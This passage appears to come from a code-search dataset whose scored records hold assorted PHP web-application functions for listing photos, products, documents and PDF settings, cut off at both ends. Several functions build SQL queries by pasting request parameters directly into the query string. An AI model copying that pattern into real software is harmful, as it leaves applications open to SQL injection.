Model_DbTable_Flux_UtiGeoDoc($db);\n\t\t \t$where = null;\n\t\t\t\tif($this->_getParam('id', 0)){\n\t\t\t \t$where = \"d.doc_id = \".$this->_getParam('id', 0);\t\t\t\n\t\t \t}\n\t\t\t\t$this->view->arr = $dbUGD->getDataLiees(\"RAND()\",$where); \n\t\t\t \n\t\t\t}else{\n\t\t\t $this->_redirect($this->redir.$this->dbNom);\n\t\t\t}\t \t\n\n\t\t}catch (Zend_Exception $e) {\n\t echo \"Récupère exception: \" . get_class($e) . \"\\n\";\n\t echo \"Message: \" . $e->getMessage() . \"\\n\";\n\t\t}\n\t}", "title": "" }, { "docid": "e1b915b934233db118fb5233f71fbd2d", "score": "0.54376525", "text": "function index()\r\n {\r\n $data['sistema'] = $this->sistema;\r\n if($this->acceso(155)){\r\n $params['limit'] = RECORDS_PER_PAGE; \r\n $params['offset'] = ($this->input->get('per_page')) ? $this->input->get('per_page') : 0;\r\n\r\n $config = $this->config->item('pagination');\r\n $config['base_url'] = site_url('slide_imagen/index?');\r\n $config['total_rows'] = $this->Slide_imagen_model->get_all_slide_imagen_count();\r\n $this->pagination->initialize($config);\r\n\r\n $data['slide_imagen'] = $this->Slide_imagen_model->get_all_slide_imagen($params);\r\n $data['page_title'] = \"Slide Imagen\";\r\n $data['_view'] = 'slide_imagen/index';\r\n $this->load->view('layouts/main',$data);\r\n }\r\n }", "title": "" }, { "docid": "c2754342c091124bc031a7321e751248", "score": "0.5434298", "text": "public function getPhotos($req, $resp, $args){\n\n try{\n\n $partie = Partie::where('id','=',$args['id'])->firstOrFail();\n $photos = $partie->photos()->get();\n \n $data = [\n 'type' => 'resource',\n 'date' => date('d-m-Y'),\n 'photos' => $photos->toArray(),\n \"links\"=> [\n \"self\" => [ \"href\" => \"/parties/\".$args['id'].\"/photos/\" ]\n ]\n ];\n \n\n return $this->jsonOutup($resp, 200, $data);\n\n\n }catch(\\Illuminate\\Database\\Eloquent\\ModelNotFoundException $e){\n\n $data = [\n 'type' => 'error',\n 'error' => 404,\n 'message' => 'ressource non disponible : /partie/ '. $args['id']\n ];\n\n return $this->jsonOutup($resp, 404, $data);\n\n\n }\n\n }", "title": "" }, { "docid": "eab0a904541fd168a3bf80014ab109cb", "score": "0.5433832", "text": "public function getPhotoInfoAction()\n {\n \t$params = $this->getRequest()->getParams();\n \t//Zend_Debug::dump($params); die();\n \n \t$result = \\Extended\\socialise_photo::getPhotoInfo( $params['photo_id'] );\n \t \n \tif( $result ):\n \techo Zend_Json::encode( $result );\n \telse:\n \t//Wallpost doesnot exist anymore.\n \techo Zend_Json::encode( 2 );\n \tendif;\n \tdie;\n }", "title": "" }, { "docid": "8b32189c29efb91e09fd2e410f770f49", "score": "0.5426062", "text": "function detail_document()//เรียกดูข้อมูลของพนักงานทั้งหมดจาก popup หน้ารวม\n {\n if( $this->ck_login() == 1 )\n { \n $id_tb_person=$this->uri->segment(3);\n $send_page=$this->uri->segment(4);\n if( is_numeric($id_tb_person) )\n {//if\n \n /*\n $query=\"select * from `tb_person` left join `tb_relation_person`\n on `tb_person`.id_tb_person=`tb_relation_person`.id_tb_person where tb_relation_person.id_tb_person=\".$id_tb_person.\"\";\n //$data['data_query']=$this->db->query($query);\n */ \n $tb=\"tb_document\"; \n $data['path']=\"upload/\";\n // $fieldset=\"\";\n $this->db->order_by(\"id_document\", \"desc\");\n $query=$this->db->get_where($tb,array('id_tb_person'=>$id_tb_person));\n //$query->num_rows(); \n $this->load->view('import_css_table'); \n //$this->tableQuerymodel->tb_relation_person_models_popup($data_query,$send_page);\n // $this->tableQuerymodel->tb_document_models_popup($query,$send_page);\n $this->tbload->tb_document_models_popup($query,$send_page);\n } //end if \n }\n else\n {\n\t\t redirect('home/page_login');\n } \n }", "title": "" }, { "docid": "de529e31a978707f01f913dc2dcbffaf", "score": "0.5424235", "text": "public function getBrowsePersonal($slug)\n {\n\n $tricks = $this->tricks->findAll();\n $personal = $this->personales->findBySlug($slug);\n $personalList = $this->personales->listAll();\n\n $this->view('personales.single', [\n 'personalList' => $personalList,\n 'tricks' => $tricks,\n 'personal' => $personal\n ]);\n\n /*$tricks = $this->tricks->findAll();\n $personal = $this->personales->findBySlug($personal);\n\n \n\n //$this->view('browse.index', compact('tricks', 'type', 'pageTitle','ciudad'));\n $this->view('personales.single', compact('tricks', 'type', 'pageTitle','personal'));*/\n\n \n\n }", "title": "" }, { "docid": "74cf2e25fcd8d995d7a3353f5923d6c4", "score": "0.54218453", "text": "public function dataImageShowAction(Request $request)\n {\n $post = $request->request;\n $donneesSaisie = null;\n\n $height = $post->get('height');\n\n $height = floatval($height) - 40;\n $imageId = Boost::deboost($post->get('imageId'),$this);\n if (is_bool($imageId)) return new Response('security');\n\n $image = $this->getDoctrine()->getRepository('AppBundle:Image')->createQueryBuilder('im')\n ->where('im.id = :id')\n ->setParameter('id', $imageId)\n ->getQuery()\n ->getOneOrNullResult();\n\n if($image == null) return new Response('Image introuvable');\n\n\n//PICDATA\n\n $chemin = $_SERVER['DOCUMENT_ROOT'].'/IMAGES/' . $image->getLot()\n ->getDossier()->getSite()->getClient()->getId() . '/' . $image->getNom() . '.' . $image->getExtImage();\n\n//LOCAL\n// $chemin = $_SERVER['DOCUMENT_ROOT'].'/picdata/web/IMAGES/' . $image->getLot()\n// ->getDossier()->getSite()->getClient()->getId() . '/' . $image->getNom() . '.' . $image->getExtImage();\n\n//192.168.0.5\n// $chemin = $_SERVER['DOCUMENT_ROOT'].'/newpicdata/web/IMAGES/' . $image->getLot()\n// ->getDossier()->getSite()->getClient()->getId() . '/' . $image->getNom() . '.' . $image->getExtImage();\n\n $fileExist = file_exists($chemin);\n\n if($fileExist == true){\n\n//PICDATA\n $chemin = '/IMAGES/' . $image->getLot()\n ->getDossier()->getSite()->getClient()->getId() . '/' . $image->getNom() . '.' . $image->getExtImage();\n\n//LOCAL\n// $chemin = '/picdata/web/IMAGES/' . $image->getLot()\n// ->getDossier()->getSite()->getClient()->getId() . '/' . $image->getNom() . '.' . $image->getExtImage();\n\n//192.168.0.5\n// $chemin = '/newpicdata/web/IMAGES/' . $image->getLot()\n// ->getDossier()->getSite()->getClient()->getId() . '/' . $image->getNom() . '.' . $image->getExtImage();\n }\n\n else {\n $chemin = 'http://picdata.fr/picdataovh/' . 'images/' .\n $image->getLot()->getDossier()->getSite()->getClient()->getNom() . '/' .\n $image->getLot()->getDossier()->getNom() . '/' .\n $image->getExercice() . '/' .\n $image->getLot()->getDateScan()->format('Y-m-d') . '/' .\n $image->getLot()->getLot() . '/' .\n $image->getNom() . '.' . $image->getExtImage();\n }\n\n\n /*$chemin = 'http://picdata.fr/picdataovh/' . 'images/' .\n $image->getLot()->getDossier()->getSite()->getClient()->getNom() . '/' .\n $image->getLot()->getDossier()->getNom() . '/' .\n $image->getExercice() . '/' .\n $image->getLot()->getDateScan()->format('Y-m-d') . '/' .\n $image->getLot()->getLot() . '/' .\n $image->getNom() . '.' . $image->getExtImage();*/\n\n\n $embed = '<embed src=\"' . $chemin . '\" width=\"100%\" height=\"100%\" class=\"js_embed\" />';\n\n $infos = $this->getDoctrine()\n ->getRepository('AppBundle:Image')\n ->getInfosImageByImageId($image->getId());\n\n $infosSep = $this->getDoctrine()\n ->getRepository('AppBundle:Separation')\n ->getListeImageSeparationByClientIdImage($image->getId());\n\n if($infosSep != null){\n /** @var $infoSep Separation*/\n $infosSep = $infosSep[0];\n }\n\n /** @var $dossier Dossier*/\n $dossier = $image->getLot()->getDossier();\n\n\n if ($infos != null) {\n $etape = $infos[0]['tableSaisie'];\n }\n\n else{\n\n if($infosSep != null) {\n\n $etape = 'Catégorisée';\n }\n else{\n $etape = 'Reçue';\n }\n }\n\n $tvaSaisie = null;\n\n switch ($etape) {\n case 'Saisie 1':\n /**@var $donneesSaisie Saisie1 */\n $donneesSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:Saisie1')\n ->findOneByImage($imageId);\n\n $etape = 'Saisie';\n\n break;\n\n case 'Saisie 2':\n /**@var $donneesSaisie Saisie2 */\n $donneesSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:Saisie2')\n ->findOneByImage($imageId);\n\n $etape = 'Saisie';\n\n break;\n\n case 'Controle Saisie':\n /**@var $donneesSaisie \\AppBundle\\Entity\\SaisieControle */\n $donneesSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:SaisieControle')\n ->findOneByImage($imageId);\n\n $etape = 'Saisie';\n\n break;\n\n case 'Imputation':\n /** @var $donneesSaisie Imputation */\n $donneesSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:Imputation')\n ->findOneByImage($imageId);\n\n /** @var $tvaSaisie TvaImputation */\n $tvaSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:TvaImputation')\n ->findByImage($imageId);\n\n $etape = 'Imputée';\n\n break;\n\n case 'Controle Imputation':\n /** @var $donneesSaisie ImputationControle */\n $donneesSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:ImputationControle')\n ->findOneByImage($imageId);\n\n /** @var $tvaSaisie TvaImputation */\n $tvaSaisie = $this->getDoctrine()\n ->getRepository('AppBundle:TvaImputationControle')\n ->findByImage($imageId);\n\n $etape = 'Imputée';\n\n break;\n\n }\n\n $image = $this->getDoctrine()\n ->getRepository('AppBundle:Image')\n ->find($imageId);\n\n\n return $this->render('ConsultationPieceBundle:Default:dataImage.html.twig', array(\n 'img' => $image,\n 'etape' => $etape,\n 'saisie' => $donneesSaisie,\n 'tvaSaisie' => $tvaSaisie,\n 'dossier' => $dossier,\n 'embed' => $embed,\n 'height' => $height,\n 'separation' => $infosSep\n ));\n }", "title": "" }, { "docid": "138fbdbba120c27dbc6a31094ce29835", "score": "0.54154783", "text": "protected function detail($id)\n {\n $show = new Show(Procurement::findOrFail($id));\n $show->panel()\n ->tools(function ($tools) {\n $tools->disableEdit();\n //$tools->disableDelete();\n });\n $show->id('Id');\n $show->u_id('姓名/昵称')->as(function($val){\n return User::where('id',$val)->value('name');\n });\n $show->brand('品牌要求')->as(function($id){\n return Brand::find($id)->name;\n });\n $show->type('瓷砖类型')->as(function($id){\n return Category::find($id)->name;\n });\n $show->models('型号要求')->as(function($id){\n return Category::find($id)->name;\n });\n $show->material('材质要求')->as(function($id){\n return Category::find($id)->name;\n });\n $show->area('采购面积')->as(function($val){\n return $val.'平米';\n });\n $show->room_city('所在地区')->as(function($val){\n return Cities::where('area_code',$val)->value('area_name');\n });\n $show->address('详细地址');\n $show->brick_time('用砖时间')->as(function ($num) {\n switch($num){\n case '1':\n return '1周';\n break;\n case '5':\n return '1个月';\n break;\n case '10':\n return '3个月';\n break;\n }\n });\n $show->status('审核')->as(function($val){\n switch($val){\n case 0:\n return '待审核';\n break;\n case 1:\n return '审核通过';\n break;\n case 2:\n return '审核未通过';\n break;\n }\n });\n $show->images('参考图片')->unescape()->as(function($val){\n $imgs = '';\n $path = getenv('APP_URL').'/uploads/';\n foreach($val as $k=>$v){\n $imgs .=\"<a href='$path$v'target='_blank'><img style='max-width:200px;max-height:200px;' src='$path$v'></a>\";\n }\n return $imgs;\n });\n $show->ctime('创建时间');\n// $show->utime('Utime');\n\n return $show;\n }", "title": "" }, { "docid": "28e5195fe9ebd62f4ad572fb0a2d75d0", "score": "0.5411953", "text": "function tampil_detail(){\n\n\t\t$id_pengiriman\t =\t$this->uri->segment(3);\n\t\t$data['record'] =\t$this->M_pengiriman->detail($id_pengiriman)->result();\n\t\t$data['record2'] =\t$this->M_pengiriman->detail($id_pengiriman)->row_array();\n\t\t$this->template->content->view('Pengiriman/Detail',$data);\n\t\t$this->template->publish();\n\n\t}", "title": "" }, { "docid": "f278b7706b89068afc7835b9b943cd43", "score": "0.5407489", "text": "public function getPropertyQuickView(Request $request) {\r\n $propertiesArr = array();\r\n $props = \\DB::table('tb_properties')->where('id', $request->id)->where('property_status', 1)->first();\r\n\r\n if (!empty($props)) {\r\n\r\n\r\n $propertiesArr['data'] = $props;\r\n $fileArr = \\DB::table('tb_properties_images')->join('tb_container_files', 'tb_container_files.id', '=', 'tb_properties_images.file_id')->select('tb_properties_images.*', 'tb_container_files.file_name', 'tb_container_files.file_size', 'tb_container_files.file_type', 'tb_container_files.folder_id')->where('tb_properties_images.property_id', $props->id)->where('tb_properties_images.type', 'Property Images')->orderBy('tb_container_files.file_sort_num', 'asc')->get();\r\n //print_r($fileArr);\r\n $pr = 0;\r\n foreach ($fileArr as $file) {\r\n $propertiesArr['image'][$pr] = $file;\r\n $propertiesArr['image'][$pr]->imgsrc = (new ContainerController)->getThumbpath($file->folder_id);\r\n $pr++;\r\n }\r\n }\r\n\r\n\r\n return response()->json($propertiesArr);\r\n exit;\r\n }", "title": "" }, { "docid": "728e53ee2b60c22e444c08b20e2b8bb2", "score": "0.5383235", "text": "public function GetViewAllURL();", "title": "" }, { "docid": "4bde14702cac0fa163f27372b94ea27d", "score": "0.5380381", "text": "public function index()\n {\n return Photo::get();\n }", "title": "" }, { "docid": "d2f9298048a1fdf8b992a4d36aa2a395", "score": "0.5379562", "text": "function getPhotos($id=null, Request $request){\n $records[\"aaData\"] = array();\n $aColumns = array('','photo','');\n $sort = \"photo\";\n $dir = \"asc\";\n $criteria = \"photo\";\n \n $sSearch = ($request->input(\"sSearch\") != \"\") ? $request->input(\"sSearch\") : \"\";\n $iDisplayLength = ($request->input(\"iDisplayLength\") != \"\") ? $request->input(\"iDisplayLength\") : \"\";\n $iDisplayStart = ($request->input(\"iDisplayStart\") != \"\") ? $request->input(\"iDisplayStart\") : \"\";\n $sEcho = ($request->input(\"sEcho\") != \"\") ? $request->input(\"sEcho\") : \"\";\n\n // Shorting\n $iSortCol_0 = ($request->input(\"iSortCol_0\") != \"\") ? $request->input(\"iSortCol_0\") : \"\";\n $iSortingCols = ($request->input(\"iSortingCols\") != \"\") ? $request->input(\"iSortingCols\") : \"\";\n if ($iSortCol_0) {\n for ($i = 0; $i < intval($iSortingCols); $i++) {\n $sort = $aColumns[intval($request->input('iSortCol_' . $i))];\n $dir = ($request->input('sSortDir_' . $i) != \"\") ? $request->input('sSortDir_' . $i) : \"\";\n }\n }\n $iTotalRecords = $this->getCountPhoto($criteria, $sSearch,$id);\n\n $iDisplayLength = $iDisplayLength < 0 ? $iTotalRecords : $iDisplayLength;\n\n $records[\"sEcho\"] = $sEcho;\n $records[\"iTotalRecords\"] = $iTotalRecords;\n $records[\"iTotalDisplayRecords\"] = $iTotalRecords;\n\n $query = $this->getPhoto($criteria, $sSearch, $sort, $dir, $iDisplayStart, $iDisplayLength,$id);\n\n if (count($query) > 0) {\n $no = $iDisplayStart;\n foreach ($query as $Fields) {\n $no++;\n\n $records[\"aaData\"][] = array(\n $no,\n '<img style=\"height: 80px; display: block;\" src=\"'. URL::to('/assets/images/'.$Fields->photo).'\">',\n \n '<center>'\n . '<button type=\"button\" class=\"btn-delphoto\" data-name-photo=\"'.$Fields->photo.'\" data-id-photo=\"'.$Fields->id_photo.'\"><i class=\"fa fa-trash-o\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"\" data-original-title=\"Delete '.$Fields->photo.'\"></i></button>'\n );\n }\n }\n echo json_encode($records);\n }", "title": "" }, { "docid": "cbc85422b9892f73b86cc97bb478a481", "score": "0.5377663", "text": "public function getPicture(){\n\t\t$criteria = new CDbCriteria();\n\t\t$criteria->condition = \"emp_id = :EMPID\";\n\t\t$criteria->params[':EMPID'] = $this->emp_id;\n\t\t$criteria->select = \"pic,location_pic\";\n\t\t$empl_pic = Employees::model()->find($criteria);\n\t\treturn \t$empl_pic;\n\t}", "title": "" }, { "docid": "4cc6f7558955abaa7bbbe097e973ce68", "score": "0.5367265", "text": "public function image($id)\n {\n // return view('upload_image', ['path'=>'/panel/complaints/image/store', 'name'=>'面板首页', 'link'=>'/panel', 'resId'=>$id]);\n return view('panel.complaints_image', ['path'=>'/panel/complaints/image/store', 'name'=>'面板首页', 'link'=>'/panel', 'id'=>$id]);\n }", "title": "" }, { "docid": "000e0b53d7c10767209ae6e4f7f25f9a", "score": "0.5365812", "text": "public function index()\n {\n $var['url'] = $this->url;\n\n $query = Sp2d::orderBy('id', 'desc');\n (!empty($this->cari))?$query->Cari($this->cari):'';\n $listSp2d = $query->paginate($this->jumPerPage);\n (!empty($this->cari))?$listSp2d->setPath('data-sp2d'.$var['url']['cari']):'';\n\n return view('data-sp2d.data-sp2d-1', compact('var', 'listSp2d'));\n }", "title": "" }, { "docid": "36ac9403fb1d2a1ecb9e1076f37cd21e", "score": "0.5365035", "text": "public function toGetPhotoSlide(){\n $requette = \"SELECT * FROM $this->tablePhoto\";\n return $this->toRequest($requette);\n }", "title": "" }, { "docid": "0b492641a02bfd35c4c940cf281bbcee", "score": "0.53613263", "text": "function food_viewImgProduct($fd_idd){\n $food = new foodModel();\n $id = base64_decode($fd_idd);\n $food->id = $id;\n return $food->food_viewImgProduct();\n }", "title": "" }, { "docid": "f35e6095a9ce4420da3b09e81909a7d3", "score": "0.5358533", "text": "public function actionDetalle($id)\n {\n $model= $this->findModel($id);\n //$codfacultad=$model->taller->codfac;\n $searchAlumnos = new VwAlutallerSearch();\n $dataProviderAlumnos = $searchAlumnos->searchByFacultad(\n h::request()->queryParams,$model->taller->codfac);\n return $this->render('consola_psicologo',[\n 'model'=>$model,\n 'dataProvider'=> $dataProviderAlumnos\n ] ); \n \n \n }", "title": "" }, { "docid": "9e665eff3fbd7dd3bf6577bb4303c3ee", "score": "0.53558385", "text": "function getURLView(){return \"/report/\".$this->getId();}", "title": "" }, { "docid": "d7c705f682f397aeb58e3785dbe53947", "score": "0.53516704", "text": "public function index(){\n $total_segments = $this->uri->total_segments();\n if( $total_segments==1 ) redirect($this->config->item('base_url'));\n\n $info = $this->products_model->get_list_front($this->uri->segment($total_segments));\n if( !$info ) redirect($this->config->item('base_url'));\n\n $ref = $this->uri->segment(1,'index');\n $this->assets->add_css('view_products');\n $this->_render('front/products_view', array_merge($this->_data, array(\n 'listProducts' => $info['listProducts'],\n 'path_section' => $info['path_section']\n )));\n\n }", "title": "" }, { "docid": "8b7c7c5e9bef3d2fccf18332b40ef027", "score": "0.5326963", "text": "public function get_preview_url()\n {\n }", "title": "" }, { "docid": "fd1332075ef9b7632ec2c2c02e39db09", "score": "0.532621", "text": "public function GetParamsPdf() {\n if ($this->get_request_method() != \"POST\") {\n $this->response('', 406);\n }\n\n if (isset($_REQUEST['data'])) {\n $idSociete = $_REQUEST['data'][\"idSociete\"];\n // Input validations\n if (!empty($idSociete)) {\n try {\n $sql = $this->db->prepare(\"SELECT * FROM paramsPdf WHERE idSociete = :idSociete LIMIT 1\");\n $sql->bindParam('idSociete', $idSociete, PDO::PARAM_INT);\n $sql->execute();\n\n if ($sql->rowCount() > 0) {\n $result = $sql->fetch();\n\n // If success everythig is good send header as \"OK\" and user details\n $this->response($this->json($result), 200);\n }\n $this->response('', 204); // If no records \"No Content\" status\n } catch (Exception $ex) {\n $this->response('', $ex->getMessage());\n }\n }\n }\n\n // If invalid inputs \"Bad Request\" status message and reason\n $error = array('status' => \"Failed\", \"msg\" => \"Invalid param\");\n $this->response($this->json($error), 400);\n }", "title": "" }, { "docid": "9fe3764aaa3fecdc6c7c38235b1e470f", "score": "0.532339", "text": "function indexProjectPDF()\n {\n $posts = $this->get_post_data_project();\n return view('dynamic_pdf')->with('posts', $posts);\n }", "title": "" }, { "docid": "5d61329cd05d26505cd78a0352cef314", "score": "0.5322894", "text": "public function index()\n\t{\n\t\tdd('Day la trang danh sach');\n\t\t// return Images::all()->toJson();\n\t\t// var_dump($images);\n\t}", "title": "" }, { "docid": "29b3653f5670741a922125a4429fdd29", "score": "0.53117245", "text": "public function imageViewerDetailAction() {\r\n $this->view->photo_id = $photo_id = $this->getRequest()->getParam('photo_id', '0');\r\n $this->view->chanel_id = $chanel_id = $this->getRequest()->getParam('chanel_id', '0');\r\n $this->view->viewer = $viewer = Engine_Api::_()->user()->getViewer();\r\n\t\t$this->view->params = array();\r\n // initialize extra next previous params\r\n $extraParamsNext = $extraParamsPrevious = array();\r\n if ($this->getRequest()->getParam('limit') != '' && !is_null($this->getRequest()->getParam('limit'))) {\r\n $extraParamsNext['limit'] = $this->getRequest()->getParam('limit') + 1;\r\n $extraParamsPrevious['limit'] = $this->getRequest()->getParam('limit') - 1;\r\n }\r\n $this->view->extraParamsNext = $extraParamsNext;\r\n $this->view->extraParamsPrevious = $extraParamsPrevious;\r\n $this->view->photo = $photo = Engine_Api::_()->getItem('sesvideo_chanelphoto', $photo_id);\r\n $this->view->chanel = $chanel = Engine_Api::_()->getItem('sesvideo_chanel', $chanel_id);\r\n if (!$photo->authorization()->isAllowed($viewer, 'view')) {\r\n $imagePrivateURL = Engine_Api::_()->getApi('settings', 'core')->getSetting('sesalbum.private.photo', 1);\r\n if (!is_file($imagePrivateURL))\r\n $imagePrivateURL = 'application/modules/Sesalbum/externals/images/private-photo.jpg';\r\n $this->view->imagePrivateURL = $imagePrivateURL;\r\n }\r\n $this->view->canComment = $chanel->authorization()->isAllowed($viewer, 'comment');\r\n // send extra params to view for extra URL parameters\r\n // get next photo URL\r\n $this->view->nextPhoto = Engine_Api::_()->sesvideo()->nextPhoto($photo, $extraParamsNext);\r\n // get previous photo URL\r\n $this->view->previousPhoto = Engine_Api::_()->sesvideo()->previousPhoto($photo, $extraParamsPrevious);\r\n if (!$viewer || !$viewer->getIdentity() || $chanel->owner_id != $viewer->getIdentity()) {\r\n $photo->view_count = new Zend_Db_Expr('view_count + 1');\r\n $photo->save();\r\n }\r\n $this->view->canEdit = $canEdit = $photo->authorization()->isAllowed($viewer, 'edit');\r\n $this->view->canDelete = $canDelete = $photo->authorization()->isAllowed($viewer, 'delete');\r\n\r\n $getmodule = Engine_Api::_()->getDbTable('modules', 'core')->getModule('core');\r\n if (!empty($getmodule->version) && version_compare($getmodule->version, '4.8.6') < 0)\r\n $this->view->toArray = true;\r\n else\r\n $this->view->toArray = false;\r\n if ($viewer->getIdentity() == 0)\r\n $level = Engine_Api::_()->getDbtable('levels', 'authorization')->getPublicLevel()->level_id;\r\n else\r\n $level = $viewer;\r\n $type = Engine_Api::_()->authorization()->getPermission($level, 'album', 'imageviewer');\r\n if ($type == 0)\r\n $this->renderScript('chanel/image-viewer-detail-basic.tpl');\r\n else\r\n $this->renderScript('chanel/image-viewer-detail-advance.tpl');\r\n }", "title": "" }, { "docid": "37bcc144f0b45145a71851fb8ad0a768", "score": "0.5308442", "text": "function osc_search_has_pic() {\n return View::newInstance()->_get('search_has_pic');\n }", "title": "" }, { "docid": "b1298805850afae405a1684f764579c0", "score": "0.5306479", "text": "function show_rpt() {\r\n\t\t$cls_mtd_html = $this->router->fetch_class().\"/cetak/html/\";\r\n\t\t$cls_mtd_pdf = $this->router->fetch_class().\"/cetak/pdf/\";\r\n\t\t$data['rpt_html'] = active_module_url($cls_mtd_html. $_SERVER['QUERY_STRING']);;\r\n\t\t$data['rpt_pdf'] = active_module_url($cls_mtd_pdf . $_SERVER['QUERY_STRING']);;\r\n $this->load->view('vjasper_viewer', $data);\r\n\t}", "title": "" }, { "docid": "7d6d4eeffba02e23256d6a0e5deb2bdd", "score": "0.53054625", "text": "public function index()\n {\n //list all records\n return response( PhotoResource::collection( Photo::all(), 200) );\n \n }", "title": "" }, { "docid": "f7256dc4c2109bbef8affe4439f570cf", "score": "0.5304715", "text": "public function index()\n {\n\t\t$limit = config('constants.LIMIT');\n\t $offset = 0;\n\t\t\n\t\t $list=photo::select( )->limit($limit)->offset($offset)->orderBy('created_at','desc')->get()->toArray();\n\t\t $totalcount=photo::select( )->count();\n\t\t\n\t\t\t$name=array();\n\t\t\tforeach( $list as $l)\n\t\t\t{\n\t\t\t\t\t$name[$l['user_id']] = User::select('id','name')->where('id',$l['user_id'])->get()->toArray();\n\t\t\t\t\n\t\t\t}\n\t\t\n\t //$returnHTML = View::make('admin.adminphotos.list')->with(array('list'=>$list,'name'=>$name))->render();\t\n\n\t return view('admin.adminphotos.show')->with(array('list'=>$list,'totalcount'=> $totalcount,'limit'=>$limit,'offset'=>$limit+$offset ,'name'=>$name));\t\n }", "title": "" }, { "docid": "1656848c08013a0663bca275d065805a", "score": "0.5302933", "text": "public function view_photos($args)\n {\n $this->registry->template->Title = \"HiiFan News Portal :: Admin Home Page : View Photos\";\n $photoListArray = $this->registry->model->run(\"getAllPhotoList\", $args);\n $this->registry->template->PresentPage = $args['start_page'];\n $this->registry->template->PhotoListArray = $photoListArray;\n $this->registry->template->show(\"view_photos\");\n }", "title": "" }, { "docid": "816dd18a076238b43a7d2b57880987ce", "score": "0.5300908", "text": "public function index()\n {\n $info=Options::where('key','lp_filesystem')->first();\n $info=json_decode($info->value);\n return view('admin.filesystem.index',compact('info'));\n }", "title": "" }, { "docid": "21b0918b2d235877b6724611044dfd03", "score": "0.52963316", "text": "function retrive_general_details_for_single_pfac_in_preview($pfac_id, $params){\n\t\n\t\tglobal $connection;\n\t\t$sql = \"SELECT pfac__genral_details.* FROM pfac__genral_details \n\t\t\t\t\t\tWHERE pfac__genral_details.id = {$pfac_id}\";\n\t\treturn DBFunctions::result_to_array_for_few_fields(DBFunctions::execute_query($sql), $params);\t\t\t\t\n\t}", "title": "" }, { "docid": "b64167572c1203d7d0e2fac8a1692326", "score": "0.5296091", "text": "public function getPersonalIndex()\n {\n $personales = $this->personales->findAllWithPersonalCount();\n //$page = $this->tags->BuscaTodosPaginado();\n\n $this->view('browse.personales', compact('personales'));\n }", "title": "" }, { "docid": "540bf7d242fb0113292459a98b82f1d0", "score": "0.5293648", "text": "public function get_photo(){\n $id = $this->input->post('id');\n if(is_numeric($id)){\n $data = $this->base_model->get_data('deal_pic' , '*' , 'row' , array('id'=>$id));\n echo json_encode($data);\n }else{\n show_404();\n }\n }", "title": "" }, { "docid": "7b5da884d9b13c7c0ab141c505ffddec", "score": "0.52929384", "text": "public function search(){\n $x = new ViewConfig();\n \n \n if($this->request->getVar('search_species')){\n $x->dtRows=[];\n $x->dtHead=[\"Username\", \"Image\", \"Confirmation\", \"Link\"];\n $x->showSearchResults=true;\n \n $test=new MarkerModel();\n $results=$test->findMarkersValid($this->request->getVar('search_species'));\n\n foreach ($results as $value) {\n \n $dirname=\"./assets/img/markers/\".$value->id.\"/\";\n $images = glob($dirname.\"*.{jpg,png}\",GLOB_BRACE);\n $result=array();\n foreach($images as $image) {\n $result[]=site_url($image); \n }\n \n $img_value=\"\";\n \n if(empty($result)){\n $result=array();\n $image=glob(\"./assets/img/markers/no_preview.jpg\");\n $img_value=site_url($image);\n echo \"<script>var images=\". json_encode($result).\" </script>\"; \n }\n else{\n $img_value=$result[0];\n } \n \n $status_names=['C'=>\"Confirmed\",\"N\"=>\"Not Confirmed\"];\n $x->dtRows[]=[$value->username, $img_value,$status_names[$value->status],[\"text\"=>\"Show\", \"url\"=>site_url(\"./Marker/showMarker/\").\"$value->id/\".$this->request->getVar('search_species')]];\n }\n }\n echo view('pages/guest_page',[\"config\"=>$x]);\n \n }", "title": "" }, { "docid": "e5a6fcd240e50725867ffc3ed8676f3e", "score": "0.5292707", "text": "public function viewdefaultphotoAction() {\n\t\t$uid = $this->_request->getParam('uid');\n\t\t$size = $this->_request->getParam('size');\n\t\tif($size==null || $size =='')\n\t\t\t$size=320;\n\t\t$mid = PeopleService::getDefaultPhoto($uid);\n\t\t$url = MediabankResourceConstants::createCompassImageUrl($mid, null, $size, $size);\n\t\t//strip off the leading /compass part of url for redirect\n\t\t$url = substr($url, strlen(Compass::baseUrl()));\n\t\t$this->_redirect($url);\n\t}", "title": "" }, { "docid": "7568c6d328fdabde72d2e06cc7f2b817", "score": "0.5292124", "text": "public function index()\n {\n\n $goods = DB::table('goods')\n ->where('status',1)\n ->select('id','title','price')\n ->orderBy('id','desc')\n ->paginate(20);\n \n //便利商品信息\n foreach ($goods as $key => &$value) {\n $value->pic = DB::table('goods_pic')\n ->where('goods_id',$value->id)\n ->value('pic');\n }\n \n // $cates = DB::table('cate')->get();\n\n $goodss = DB::table('carts')->get();\n // dd($goods);\n\n \n\n //评论\n $pinglun = DB::table('pinglun')->get();\n\n\n return view('home.address.index',compact('goods_pic','pinglun','goodss','goods'));\n \n }", "title": "" }, { "docid": "32bcc34bd38341695fbb6397343b204c", "score": "0.52870005", "text": "public function index()\n {\n $user=User::with('photo')->findOrfail(auth()->user()->id);\n $coupons=Coupon::with('photo')->latest()->paginate(10);\n return response()->view('admin.coupons.index',compact(['user','coupons']));\n }", "title": "" }, { "docid": "4302dcdf09d2df1019ef270aa1ea0822", "score": "0.52857393", "text": "public function viewImagePerfil($id)\n {\n $img = Administrador::find(Auth::userAdmin()->get()->id);\n $imagen = $img->imgperfil;\n\n $coordinador = Coordinador::find($id);\n $imgperfil = $coordinador->imgperfil;\n\n return View::make('admin.Actividad.viewImagePerfilCoord', array(\n 'imagen' => $imagen,\n 'coordinador' => $coordinador, \n 'imgperfil' => $imgperfil,\n 'coordinador' => $coordinador\n ));\n }", "title": "" }, { "docid": "07f53e4b440b957b13148e5f824ebeb7", "score": "0.52822924", "text": "function GetPropertyImageDetail($filter=false,$languageID=false)\n\t{\n\t\t$qry=$this->db->query(\"select rp_property_images.*,rp_property_image_details.* from rp_property_images,rp_property_image_details where rp_property_images.propertyID=$filter and rp_property_images.propertyImageID=rp_property_image_details.propertyImageID and rp_property_image_details.languageID=$languageID\");\n\t\treturn $qry->result();\n\t}", "title": "" }, { "docid": "25a5ffdd1d4d4edbae015cb1949c1f86", "score": "0.52822316", "text": "function vcn_cma_documents_view() {\n$get_userid = explode('-',$_GET['userid']);\n$vars['user_id']=$get_userid[0];\n$valid['user_id']='valid';\n$documentinfo = vcn_get_data ($errors, $vars, $valid, 